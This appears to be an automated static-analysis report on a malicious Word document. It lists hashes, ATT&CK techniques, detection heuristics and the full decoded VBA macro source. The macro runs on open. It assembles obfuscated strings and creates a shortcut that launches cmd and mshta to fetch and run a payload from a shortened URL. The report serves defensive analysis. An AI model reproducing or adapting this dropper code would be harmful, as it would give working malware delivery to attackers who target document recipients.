Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 997c4f7695a6a615…

MALICIOUS

Office (OLE)

125.5 KB Created: 2019-02-27 01:49:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 17d97dca939836fe4eeb61eac371960f SHA-1: 5886fb74d704e6b8e0917ea443a1e5aabeb06dee SHA-256: 997c4f7695a6a615da069d5f839582fdb83f215bc999e8af492636b2b5e3436c
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute upon opening the document. The AutoOpen macro constructs a command to create a shortcut file named 'EXT.LNK' in the user's public directory. This shortcut is configured to execute 'cmd.exe' with arguments that download and run a payload from the URL 'https://bit.ly/2H55J4F'. This indicates a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-8381945-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8381945-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        StrLP = StrLP & " /"
        Set ObjShl = CreateObject(SHStr)
        FilePath = FilePath & "K"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
        On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1787 bytes
SHA-256: d727a7bbfc914248ad7f75b7b24f95493f08522f749d254c5eba54b78da092f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
    Dim SHStr As String
    Dim FilePath As String
    Dim ExPath As String
    FilePath = "C"
    SHStr = "scr"
    ExPath = "Lorer "
    FilePath = FilePath & ":" & "\Use" & "rs\Pub"
    SHStr = "W" & SHStr
    WW = "Save"
    ExPath = "EXP" & ExPath
    SHStr = SHStr & "ipt."
    StrLP = "/"
    WW = WW & "As"
    StrLP = StrLP & "C START"
    SHStr = SHStr & "She"
    FilePath = FilePath & "lic\EXT." & "LN"
    SHStr = SHStr & "ll"
    StrRn = "MD"
    StrLP = StrLP & " /"
    Set ObjShl = CreateObject(SHStr)
    FilePath = FilePath & "K"
    Set Sht = ObjShl.CreateShortcut(FilePath)
    StrRn = "C" & StrRn
    Sht.TargetPath = StrRn
    StrName = "P" & "R"
    StrTemp = "HT" & "A htt"
    StrTemp = StrTemp & "ps:/"
    Sht.Arguments = StrLP & "B MS" & StrTemp & "/bit" & "." & "ly/2H55J4F"
    Sht.Save
    StrName = "G" & "D" & StrName
    ViewDocument StrName
    ObjShl.Run ExPath & FilePath
End Sub

Sub ViewDocument(StrName)
    On Error Resume Next
    Dim ObjectPic As Shape
    ActiveDocument.ActiveWindow.View.Type = wdPrintView
    ActiveDocument.ActiveWindow.View.ReadingLayout = False
    For Each ObjectPic In ActiveDocument.Shapes
        If ObjectPic.AlternativeText = StrName Then
            ObjectPic.Delete
        End If
    Next ObjectPic

    ActiveDocument.Content.Font.Hidden = False
    ActiveDocument.Content.Font.Color = 0
End Sub